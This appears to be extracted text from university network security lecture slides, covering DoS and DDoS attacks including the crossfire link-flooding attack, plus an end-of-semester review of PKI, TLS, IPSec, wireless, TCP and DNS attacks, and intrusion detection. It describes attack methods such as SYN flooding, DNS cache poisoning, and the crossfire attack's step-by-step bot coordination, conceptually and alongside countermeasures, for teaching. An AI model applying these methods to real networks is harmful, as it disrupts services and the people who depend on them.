EDNS Reponse
(3000 bytes)
DNS Amplification attack: ( ´50 amplification )
7
Estonia attack (2007)
• Attack types detected:
• 115 ICMP floods, 4 TCP SYN floods
• Bandwidth:
• 12 attacks: 70-95 Mbps for over 10 hours
• All attack traffic was coming from outside Estonia
• Estonia’s solution: Estonian ISPs blocked all foreign
traffic until attacks stopped
• DoS attack had little impact inside Estonia
8
Stronger attacks: TCP connection flood
• Command bot army to:
• Complete TCP connection to web site
• Send short HTTP HEAD request
• Repeat
• Will bypass SYN flood protection proxy
• … but:
• Attacker can no longer use random source IPs.
• Reveals location of bot zombies
• Proxy can now block or rate-limit bots.
9
DoS on DNS server
• DNS runs on UDP port 53
• DNS entry for victim.com hosted at victim_isp.com
• DDoS attack:
• flood victim_isp.com with requests for victim.com
• Random source IP address in UDP packets
• Takes out entire DNS server
• Root level DNS attacks
• Feb. 6, 2007: Botnet attack on the 13 Internet DNS root
servers, lasted 2.5 hours, two performed badly
• Attack in Oct. 2002 took out 9 of the 13 TLD servers
10
DoS at higher layers
• SSL/TLS handshake
• RSA-encrypt speed roughly = 10x RSA-decrypt speed
• Single machine can bring down ten web servers
• Similar problem with application DoS:
• Send HTTP request for some large PDF file
• Easy work for client, hard work for server.
Web
Server
Client Hello
Server Hello (pub-key)
Client key exchangeRSA
Encrypt RSA
Decrypt
11
Payment DoS
Merchant A Merchant B Merchant C
Aquiring
Bank
Dummy
purchase
Requests
• Low rate at each Merchant
• High rate at Aquiring bank
12
DoS mitigation
• Client puzzles
• CAPTCHAs
• Source identification:
• Ingress filtering
• Traceback
13
Client puzzles
• Idea: slow down attacker
• Moderately hard problem:
• Given challenge C find X such that
• LSBn ( SHA-1( C || X ) ) = 0n
• Assumption: takes expected 2n time to solve
• For n=16 takes about .3sec on 1Ghz machine
• Main point: checking puzzle solution is easy.
• During DoS attack:
• Everyone must submit puzzle solution with requests
• When no attack: do not require puzzle solution
14
Examples
• TCP connection floods
• Example challenge: C = TCP server-seq-num
• First data packet must contain puzzle solution
• Otherwise TCP connection is closed
• SSL handshake DoS
• Challenge C based on TLS session ID
• Server: check puzzle solution before RSA decrypt.
• Same for application layer DoS and payment DoS.
15
Benefits and limitations
• Hardness of challenge: n
• Decided based on DoS attack volume.
• Limitations:
• Requires changes to both clients and servers
• Hurts low power legitimate clients during attack:
• Clients on sensors cannot connect…
16
CAPTCHAs
• Idea: verify that connection is from a human
• Applies to application layer DDoS
• During attack: generate CAPTCHAs and process request only
if valid solution
• Present one CAPTCHA per source IP address.
17
Source identification
• Goal: identify packet source
• Ultimate goal: block attack at the source
• Ingress filtering (RFC 2827, 2000)
• Big problem: DDoS with spoofed source IPs
• Question: how to find packet origin?
• Ingress filtering policy: ISP only forwards packets with
legitimate source IP.
ISP Internet
18
Traceback
• Goal:
• Given set of attack packets
• Determine path to source
• How: change routers to record info in packets
• Assumptions:
• Most routers remain uncompromised
• Attacker sends many packets
• Route from attacker to victim remains relatively stable
19
Simple method
• Write path into network packet
• Each router adds its own IP address to packet
• Victim reads path from packet
• Problem:
• Requires space in packet
• Path can be long
• No extra fields in current IP format
• Changes to packet format too much to expect
20
Better idea
• DDoS involves many packets
on same path
• Store one link in each packet
• Each router
probabilistically stores
own address
• Fixed space regardless of
path length
R6 R7 R8
A4 A5A1 A2 A3
R9 R10
R12
V
21
• Distributed DoS
• Advanced DDoS: crossfire attack (partial contents from the
paper)
• Kang, Min Suk, Soo Bum Lee, and Virgil D. Gligor.
“The crossfire attack.” IEEE symposium on security
and privacy 2013.
22
DoS Shortfalls
• DoS attacks are unable to attack large bandwidth websites
• one upstream client cannot generate enough bandwidth
to cripple major megabit websites.
• New distributed server architecture makes it harder for one
DoS to take down an entire site.
• New software protections neutralise existing DoS attacks
quickly
• Service Providers know how to prevent these attacks from
effecting their networks.
23
DDoS
• Definition: a Distributed Denial of Service (DDoS) attack
uses many computers to launch a coordinated DoS attack
against one or more targets
Coordinated DoS
• Simple extension of DoS
• Coordination between multiple parties
Typical DDoS setup
Typical DDoS setup
Modern Botnet Setup
28
Common DDoS Countermeasures
• Prevent Initial Hack
• Use of Firewalls
• Check Ingress/Egress Packets
• Use a server farm and load balancer to offset the effects of
a DDoS attack
• Change IP address of attacked system (problem for
updating legitimate users of new system IP address)
29
• Crossfire Attack
30
Old: DDoS Attacks against Single Servers
• Typical attack: floods server with HTTP, UDP, SYN, ICMP…
packets
• persistence
• maximum: 2.5 days (outlier: 81 days)
• average: 1.5 days
• Adversary’s Challenge: DDoS Attacks are either Persistent or
Scalable to N Servers
• N x traffic to 1 server => high-intensity traffic triggers
network detection
• detection not triggered => low-intensity traffic is insufficient
for N servers
Example: “ Spamhaus” Attack (2013)
• Adversary: DDoS -> 1
Spamhaus Server 3/16 –
3/18: ~ 10 Gbps
• persistent: ~ 2.5 days
Example: “ Spamhaus” Attack (2013)
• Adversary: DDoS -> 1
Spamhaus Server 3/16 –
3/18: ~ 10 Gbps
• persistent: ~ 2.5 days
• Spamhaus -> CloudFlare
(3/19 – 3/22)
• non-scalable: 90-120
Gbps traffic is diffused
over N > 20 servers in 4
hours
Example: “ Spamhaus” Attack (2013)
• Adversary: DDoS -> 4 IXPs
(3/23)
• scalable : regionally
degraded connectivity,
some disconnection
• non-persistent: attack
detected, pushed back &
legitimate traffic re-routed in
~ 1 – 1.5 hours
34
New: The Crossfire Attack
• A link-flooding attack that degrades/cuts off network
connections of scalable N-server area persistently
• Scalable N -Server areas
• N = small (e.g., 1 -1000 servers), medium (e.g., all servers
in a US state), large (e.g., the West Coast of the US )
• Persistent:
• attack traffic is indistinguishable from legitimate
• low-rate, changing sets of flows
• attack is “moving target” for same N-server area
• changes target links before triggering alarms
Definitions
Target
area Area containing chosen target servers
chosen
servers
Target
link
Decoy
server
e.g., an organisation, a city, a state, or a country
Network link selected for flooding
Publicly accessible servers surrounding the target area
1 – Link Crossfire
Attack Flows => Indistinguishable from Legitimate
low-rate flows
40 Gbps
Bots
Decoy
Servers
( 4 Kbps x 10K bots x 1K decoys)
… …
1 – Link Crossfire
Attack Flows => Indistinguishable from Legitimate
changing sets of flows
Bots
Decoy
Servers
… …
1 – Link Crossfire
Attack Flows => Alarms Not Triggered
suspend flows in t < T det sec & resume later
Bots
Decoy
Servers
link-failure detection latency, Tdet
t = 40 – 180 sec => Alarms are Not Triggered
… …
n – Link Crossfire
n links traversed by a large number of persistent paths to a target area.
small n ; e.g., 5 – 15
≥ 3 hops
“ Narrow Path Waist”
(observed power law
for Internet route paths)
… N servers
Good target link set
“moving targets,” same N servers
= suspend-resume flooding of
different link sets
n – Link Crossfire
n links traversed by a large number of persistent paths to a target area.
small n ; e.g., 5 – 15
≥ 3 hops
“ Narrow Path Waist”
(observed power law
for Internet route paths)
… N servers
“moving targets,” same N servers
= suspend-resume flooding of
different link sets
Alternate target link set
n – Link Crossfire
n links traversed by a large number of persistent paths to a target area.
small n ; e.g., 5 – 15
≥ 3 hops
“ Narrow Path Waist”
(observed power law
for Internet route paths)
… N servers
“moving targets,” same N servers
= suspend-resume flooding of
different link sets
Relatively good target
link set
Attack Step 1: Link – Map Construction
trace
results
…
…
routers
…
persistent
vs.
transient links
Internet
…
servers
target area
Only persistent links are targeted
…
Attack Step 2: Target – Link Selection
Select n
Target Links
…
Goal:
Find n links whose
failure maximises DR
=> maximum
Internet servers coverage problem
target area
* Degradation Ratio (target link set) = # degraded bot- to- target area paths
# all bot- to- target area paths
Attack Step 3: Bot Coordination
Commands
…
…
…
…
Attack
Flows
… …
Low send/receive rates
~ 1 Mbps
…
Internet …
…
…
servers
decoy
server
target area
Experiments
Geographical Distribution of Traceroute Nodes
1,072 traceroute nodes: 620 PlanetLab nodes + 452 Looking Glass servers
PlanetLab node Looking Glass server
Experiments
PlanetLab node Looking Glass server
Target Areas
Target Areas
small
medium
large
· Univ1
· Univ2
· New York
· Pennsylvania
· Massachusetts
· Virginia
· East Coast
· West Coast
Degraded Connectivity
Flooding a few target links causes high degradation (DR*)
• 10 links => DR: 74 – 90% for Univ1 and Univ2
• 15 links => DR: 53% (33%) for Virginia (West Coast)
48
Possible Countermeasures
• Any countermeasure must address (at least one of)
• the existence of the “ narrow path waist”
• slow network & ISP reaction
• Cooperation among multiple ISPs becomes necessary for detection
• Whether ISP coordination becomes practical despite of
competitive concerns, remains to be seen
• Application-layer overlays can route around flooded links
• Additional measures
• Preemptive or retaliatory disruption of bot markets
• International agreements regarding prosecution of
telecommunication-infrastructure attacks
49
Further Reading
• Kang, Min Suk, Soo Bum Lee, and Virgil D. Gligor. “The
crossfire attack.” IEEE symposium on security and privacy
2013.
Further Reading
FIT3031/FIT5037 NETWORK SECURITY
Week 12
Network Security in a Nutshell
Dr Xingliang Yuan
Faculty of IT @ Monash
2
• We would be very appreciated if you could help fill in the
SETU survey for this unit
• https://monash.bluera.com/monash
• Close at 31 Oct
• You are invited to nominate the member (s) of our teaching
team that you think deserve recognition
• Supporting us via https://monash.az1.qualtrics.com/jfe/
form/SV_1LA19CJlbUaeLbM
• Close at 25 Oct 9am
SETU Reminder
https://monash.bluera.com/monash
https://monash.az1.qualtrics.com/jfe/form/SV_1LA19CJlbUaeLbM
https://monash.az1.qualtrics.com/jfe/form/SV_1LA19CJlbUaeLbM
https://monash.az1.qualtrics.com/jfe/form/SV_1LA19CJlbUaeLbM
3
• Part A – I (10 marks)
• 10 true/false questions
• Part B – II (10 marks)
• 10 single answer questions
• Part C (40 marks)
• 4 questions that require short answers
• may contain subquestions
FIT3031 Final Exam
4
• Part A – I (2.5 marks)
• 5 true/false questions
• Part B – II (2.5 marks)
• 5 single-choice questions
• Part C (25 marks)
• 5 questions that require short answers
• may contain subquestions
FIT5037 Final Exam
5
Final Exam Remark
• No coding questions
• This is a closed book assessment. You’re not permitted to use
any notes, texts, websites or other reference material to assist
you in answering the questions
• Part C:
• contain both theoretical and practical questions (with
security protocols, attack scenarios, countermeasures)
• Unless specifically mentioned, all teaching and learning
materials would possibly be evaluated
6
Learning Outcomes of Network Security
• Identify network security goals and services
• Describe security protocols in network
applications
• Analyse threats and attacks in real-world
network protocols
Taxonomy of Cybersecurity
Risk
Management
Human
Factors
Law
Regulation
Privacy
Governance
Cybercrime
Social
Engineering
Cryptocurrency
Compliance
Ethics
Security
Operations
Reverse
Engineering
Vulnerability
Analysis
Fuzzing
Instrumentation
Emulation
Debugging
Disassembling
Decompiling
Protocol
Analysis
Forensics
Malware
Analysis
Data Analytics
Intrusion
Detection
Sandboxing
Abuse
Detection
Intrusion
Prevention
Mobile
Internet-of-Things
Cyber-physical Systems
Web
Cloud
Desktop
Server
Edge
Darknet
Blockchain
Embedded
Operating Systems
Security
Software
Security
Network
Security
Firmware
Security
Physical Layer
Security
Hardware
Security
Applied
Cryptography
Data Security
Game Theory Trust
Isolation
Assurance
Access Control
Deception
Anonymity
Auditing
Authentication
Authorization
Cryptography
Information Theory
Cyber Insurance
Source: Why Cybersecurity is Hard? Prof Zhiqiang Lin, The Ohio State University
8
L01 & L02: Learning Outcomes
• Computer network and communication
• Security architecture
• Define security: Security Models
• Security Goals
• Examples of Goals & Adversary Capabilities
Types of Network Attacks
• passive attacks: eavesdropping, traffic analysis
• active attacks: denial of service (DoS), injection
10
Generic types of security mechanisms (Recap)
• Prevention
• to avoid the breach of security (pre-emptive) e.g. cryptography
• Detection
• monitor always, to detect attempts / breaches (during) e.g. IDS
• Recovery
• investigate a security breach (post attack)
• recover from consequences of attack
• e.g. forensics, incidence response, intrusion tolerance
detect
recover
… prevent …
11
Security Goals
• CONFidentiality in Network Apps/Systems:
• Goal + Adversarial Capabilities
• Formal Security Model
• Integrity and Authentication in Network Apps/
Systems
12
Cryptography Overview
Symmetric Aymmetric
Confidentiality
One-time Pad
Stream Ciphers
Block Ciphers
Encryption with
Public Key
Integrity
Message
Authentication
Code, e.g.,
HMAC
Digital
Signature
Authentication MAC+Nonce
Digital
Signature +
Nonce
13
Symmetric vs. Asymmetric
Symmetric
• Shared secret
• 80 bit key for high security
(2010)
• ~1,000,000 ops/s on 1GHz
proc
• 10x speedup in HW (AES-
NI)
Asymmetric
• PK/SK pair
• 2048 bit key for high security
(2010)
• ~100 signs/s & ~1,000
verifies/s on 1GHz proc
• Limited speedup in HW
14
L03: Learning Outcomes
• Man-in-the-middle attacks on Public-key
encryption
• Public Key Infrastructure
• Digital Certificate, i.e., X.509 Certificate
• Certificate Authority
• How PKI Defeats the MITM Attack
• Attacks on PKI
15
Public Key Infrastructure
• Certificate Authority (CA): a trusted party,
responsible for verifying the identity of users, and
then bind the verified identity to a public keys.
• Digital Certificates: A document certifying that
the public key included inside does belong to the
identity described in the document.
• X.509 standard
16
Core Functions of CA
• Verify the subject
• Ensure that the person applying for the certificate either owns or
represents the identity in the subject field.
• Signing digital certificates
• CA generates a digital signature for the certificate using its private
key.
• Once the signature is applied, the certificate cannot be modified.
• Signatures can be verified by anyone with the CA’s public key.
Attacks Surfaces on PKI
18
L04: Learning Outcomes
• Internet Email Architecture and Protocols
• SMTP, MIME
• Email Security
• PGP
• S/MIME
• Domain Keys Identified Mail (DKIM)
19
Email Threats
• Authenticity: unauthorised access
• Integrity: unauthorised modification of emails
• Confidentiality: unauthorised disclosure of
sensitive information
• Availability: prevent users from sending/
receiving emails
20
PGP offers
• key management
• key ring for (pk,sk)
• per-message session key k
• AUTH + INT
• digital signature (Non-repudiation)
• CONF
• encryption
• Compression: after signature, before encryption
• Email: Radix-64 conversion
• Segmentation
21
PGP: CONF + AUTH
• @Tx: ←(m)
• sig = Sign(h(m),skT); mZ = Compress(m,sig)
• c = Encrypt(mZ,k); x = Encrypt(k,pkR)
• send to Rx:
22
PGP: CONF + AUTH
• @Rx: ← (c, x)
• k = Decrypt(x,skR); mZ = Decrypt(c,k)
• m||sig = DeCompress(mZ)
• Verify(h(m),sig,pkT)
23
Domain Keys Identified Mail (DKIM)
• user’s email must be
signed by sk of admin
domain of Tx before
leaving domain
• transparent to user
• Mail Submission
Agent (MSA) signs
• Mail Delivery Agent
(MDA) verifies
• Rx can verify signature
using domain’s pk
24
• Privacy-preserving email services with
provider-supplied functions (case study)
• Will not be included in the final exam
25
L05: Learning Outcomes
• Network Layer, IP
• IPSec
• VPN application
• Anonymisation in Network (Tor)
• Understand IPSec architecture, protocols, and
applications
• Understand Encapsulating Security Payload (ESP),
transport and tunnel modes of operations in IPSec
26
IPSec Services
• Auth & data integrity
• data origin authentication
• verifies the claimed identity of the source data
• connectionless integrity
• detects tampering of individual IP datagrams
• anti-replay integrity
• detects the arrival of duplicate IP datagrams
• Confidentiality
• protects data from unauthorised disclosure and
provides a limited form of traffic-flow confidentiality
• conceals the source IP address, the destination IP
address, the size of an IP datagram and frequency of
communication
27
IPsec: Modes
Transport Mode Tunnel Mode
AH Authenticates IP payload
and selected portions of IP
header.
Authenticates entire inner
IP packet (inner header
plus IP payload) plus
selected portions of outer
IP header.
ESP Encrypts IP payload. Encrypts entire inner IP
packet.
ESP + Auth Encrypts IP payload.
Authenticates IP payload
but not IP header.
Encrypts entire inner IP
packet. Authenticates
inner IP packet.
Anti-Replay Mechanism
• Recipient implements a sliding window;
• Sender issues a sequence number for each packet;
29
IP Security Policy
30
SPD example
• Isolation
• Tunneling
VPN Application: Overlay network
Image source: Mike Freedman @ Princeton
Components of Tor
• Client: the user of the Tor network
• Server: the target TCP applications such as web servers
• Tor (onion) router: the special proxy relays the application data
• Directory server: servers holding Tor router information
Image source: Xinwen Fu @ CFU
Onion Routing
Alice Bob
OR2
OR1
M
√M
M
OR3
M
C1 C2
C2 C3
C3 Port
Image source: Xinwen Fu @ CFU
• A circuit (dedicated communication channel) is built incrementally one hop
by one hop
• Onion encryption
• Alice negotiates an AES key with each router
• Messages are divided into equal sized cells, encrypted layer by layer
• Each router knows only its predecessor and successor
• Only the Exit router (OR3) can see the message, however it does not
know where the message is from
34
L06: Learning Outcomes
• Understand Transport Layer Security (TLS)
• TLS Handshake
• TLS Record
• Understand Attacks on SSL
• Padding Oracle Attack
• The detailed algorithm will not be
evaluated in the final exam
35
Overview of TLS
• Transport Layer Security (TLS) provides a secure
channel between two communicating applications.
• Confidentiality: Nobody other than the two ends of the
channel can see the actual content of the data transmitted.
• Integrity: Channel can detect any changes made to the
data during transmission
• Authentication: At least one end of the channel needs to
be authenticated, so the other end knows who it is talking
to.
36
TLS Handshake
Sending Data with the TLS Record Protocol
38
Attack on SSL/TLS: POODLE attack
• Padding Oracle On Downgraded Legacy
Encryption (POODLE) [2014]
• weakness
• backward compatibility: some still support
SSLv3.0
• SSLv3.0 falls to padding oracle attack
• weakness of CBC mode
• Attacker explores different server responses
39
L07: Outline and Learning Outcomes
• Overview security threats and countermeasures for
wireless networks.
• Describe the essential elements of the IEEE 802.11
wireless security standard
• WEP (insecure), WPA, WPA2
• Understand the vulnerability in WPA2 implementation
• Analyse the unique threats posed by the physical layer
• Jamming attacks
40
Wireless Security: the Problem
• channel
• broadcast, easier to eavesdrop and
jamming
• mobility and accessibility
• terminals more accessible / open to threats
• resources
• limited memory / power so harder to
implement security systems
Attack Surface
• Endpoint: mobile phones, laptop, tablet, sensor,
bluetooth devices…
• Access point: cell towers, WiFi hot spots…
• Transmission medium: radio waves
42
IEEE 802.11b InSecurity of WEP
• improper IV management
• can detect when IV reused
• IV collision
• WEP recommends (not require)
• IV changed per packet (not say how)
• some WEP implementations weak
• e.g. PCMCIA cards reset IV to 0 each time re-
initialised when inserted into laptops
• messages can be modified without knowing the key
IEEE 802.11b Security of WEP’s INT
• CRC32 not a MAC
• CRC32 is linear
• CRC32 used with a stream cipher
• stream cipher is linear
• WEP checksum i.e. CRC32
• is linear function of m
• let c(m) be CRC32(m)
• then c(x⊕y) = c(x)⊕c(y)
• Can modify ciphertext without disturbing m
WPA 2 Reinstallation Attack
• Same nonce is used for Msg4 and Data
45
Jamming
• The adversary interferes with the
reception of messages by
transmitting a continuous jamming
signal, or several short jamming
pulses.
• cause DoS
• Detection:
• monitor signal strength
• monitor carrier sensing time
A
B
X0AP0
AP1
AP2
C
D X1
46
L08: Learning Outcomes
• TCP protocols and the attacks against TCP
• SYN flooding attack
• TCP reset attack
• TCP session hijacking attack
• DNS protocols and the attacks against DNS
• Local DNS cache poisoning attack
• Remote DNS cache poisoning attack
SYN Flooding Attack
• To fill the queue storing the half-open
connections, there will be no space to
store TCB for any new half-open
connection
• Server cannot accept any new SYN packets.
SYN Flooding Attack
• Steps to achieve this:
• Continuously send a lot of SYN packets to
the server. This consumes the space in the
queue by inserting the TCB record.
• Do not finish the 3rd step of handshake as it
will dequeue the TCB record
When flooding the server with SYN packets, one may use random source
IP addresses; otherwise the attacks may be blocked by the firewalls.
49
Countermeasure: SYN Cookies
• After a server receives a SYN packet, it calculates a keyed
hash (H) from the information in the packet using a secret key
that is only known to the server.
• This hash (H) is sent to the client as the initial sequence
number from the server. H is called SYN cookie.
• The server will not store the half-open connection in its queue.
• If the client is an attacker, H will not reach the attacker (IP is
fake).
• If the client is not an attacker, it sends H+1 in the
acknowledgement field.
• The server checks if the number in the acknowledgement field
is valid or not by recalculating the cookie.
50
TCP Reset Attack
• Reset packet can stop the connection between two hosts.
TCP Disconnection
• To disconnect a TCP connection:
• A sends out a “FIN” packet to B.
• B replies with an “ACK” packet. This
closes the A-to-B communication.
• Now, B sends a “FIN” packet to A and A
replies with “ACK”.
• Using Reset flag:
• One of the parties sends RST packet to
immediately break the connection.
TCP Reset Attack
• Spoofing Src&Dest IP, Port, Seq
53
Countermeasures
• Making it difficult for attackers to spoof packets
• Randomise source port number
• Randomise initial sequence number
• Encrypting payload
DNS Attack Surfaces
55
Compromising User Machine
• Modify /etc/resolv.conf:
• use malicious DNS server as the machine’s local
DNS server and can control the entire DNS
process.
• Modify /etc/hosts:
• add new records to the file, providing the IP
addresses for some selected domains.
• For example, attackers can modify IP address of
www.bank32.com which can lead to attacker’s
machine.
Spoofing DNS Replies
• Attacks on user machines:
• When the user machine sends out a DNS query to its local DNS
server, attacker can immediately send a spoofed reply, using local
DNS as its source IP address. Attackers can put any arbitrary IP
address in the reply.
Local DNS Cache Poisoning Attack
• Attacks on local DNS server (Cache Poisoning attack):
• When the local DNS server sends out iterative queries to get an
answer from the DNS servers on the Internet, attackers can send
out spoofed replies to the local DNS server.
• They get accepted as long as they arrive before the actual
replies. This is called DNS cache poisoning.
58
Remote DNS Cache Poisoning Attack
• For remote attackers who are not on the same
network as the local DNS server, spoofing replies
is much more difficult.
• need to guess port number, transaction ID, etc.
• Cache effect: If one attempt fails, the actual reply
will be cached by local DNS server; attacker need
to wait for the cache to timeout for the next
attempt.
The Kaminsky Attack
• Ask a different question every time, so caching the answer does not
matter, and the local DNS server will send out a new query each time.
• Provide forged answer
60
DNSSEC vs TLS/SSL
• DNSSEC: provides object security (for DNS results) – Just integrity &
authentication, not confidentiality
• No client/server setup “dialog”
• Tailored to be caching-friendly
• Underlying security dependent on trust in Root Name Server’s
key, and all other signing keys
• TLS: provides channel security (for communication over TCP) –
Confidentiality, integrity, authentication
• Client & server agree on crypto, session keys
• Underlying security dependent on:
• Trust in Certificate Authorities / decisions to sign keys • (as well
as implementors)
61
L09: Learning Outcomes
Intrusion Detection
• Background and Concept
• Intrusion Detection Systems (IDS)
• Detection Model
• System Architecture
• Real-world Tools
• Incident Response
62
Design Goals
1. Detect wide variety of intrusions
• Cover known and unknown attacks
• Adapt to new attacks or changes in behaviour
2. Detect intrusions in real-time
• Analyse user activities efficiently
• Report suspicious cases timely
3. Ensure accuracy
• Minimise false positives and false negatives
63
IDS Models
• Signature-based
• Unusual behaviours are known
• Raise alarm when activities match the signature
• Anomaly-based
• Usual behaviours are known
• Raise alarm when activities deviate from the usual
behaviour
• Heuristic-based
• Use a machine learning model of normal behaviour
• Raise alarm when activities are identified as abnormal
by the model
64
Comparison
Signature-based Detection Anomaly-based Detection
Accurate detection on known attacks, but
ineffective with known attack
Effective to detect new vulnerabilities
Efficient and effective Less efficient
Less false positive More false positive
Hard to keep signature updates Can use new user profile to update
65
L10: Outline and Learning Outcomes
• Describe modern DPI systems
• Understand the reasons and needs of privacy-preserving DPI systems
• Explain the basic design principle and methodology of privacy-
preserving DPI over encrypted network traffic (not included in the
exam)
• Analyse the limitations of the current designs (not included in the
exam)
• Advanced phishing attacks and countermeasures (not included in the
exam)
Cloud-based Firewall
(Network Function Virtualisation)
In-house hardware
firewalls
Virtualisation
Reduced local cost
Increased service scalability
Pre-readings:
AWS web app. firewall https://docs.aws.amazon.com/waf/latest/developerguide/web-acl.html
CloudFlare magic firewall https://blog.cloudflare.com/introducing-magic-firewall/
https://docs.aws.amazon.com/waf/latest/developerguide/web-acl.html
https://blog.cloudflare.com/introducing-magic-firewall/
Concern on Privacy
Confidentiality of Traffic Confidentiality of Rules
• Traffic contains sensitive information of enterprise
• e.g., trading secret, IP
• Rules are also proprietary
• Threats: cloud (insider) or attacker that breaks into the cloud are
interested in rules and traffic contents
68
L11: Outline and Learning Outcomes
• Understand the goal of DoS attacks
• Describe different DoS attacks on different layers
• Explain the basic countermeasures against DoS attacks
• Understand the concept and methodology of DDoS attacks
• Case study of advanced DDoS attack: crossfire attacks
• Will not be included in the final exam
69
Network Denial of Service
• Target on Availability (e.g., Can I reach the destination?)
• Goal: take out a large site with little computing work
• How: Amplification
• Small number of packets -> big effect
• Two types of amplification attacks:
• DoS bug: Design flaw allowing one machine to disrupt
a service
• DoS flood: Command bot-net to generate flood of
requests
70
DoS can happen at any layer
• DoS at different layers:
• Link
• TCP/UDP
• Application
• Payment
• Gaming
• …
71
DoS mitigation
• Client puzzles
• CAPTCHAs
• Source identification:
• Ingress filtering
• Traceback
Typical DDoS setup
73
Common DDoS Countermeasures
• Prevent Initial Hack
• Use of Firewalls
• Check Ingress/Egress Packets
• Use a server farm and load balancer to offset the effects of
a DDoS attack
• Change IP address of attacked system (problem for
updating legitimate users of new system IP address)
74
• Thank you!
• Good luck to your exam!
•
L07_Wireless Security_S2_2021
L08_Attacks_S2_2021
tcp_attacks
L09_IDS_S2_2021
L010_Phishing_guest_lecture_reduce_size
L10_PP-DPI_S2_2021
L11_DOS_S2_2021
L12_Rev_S2_2021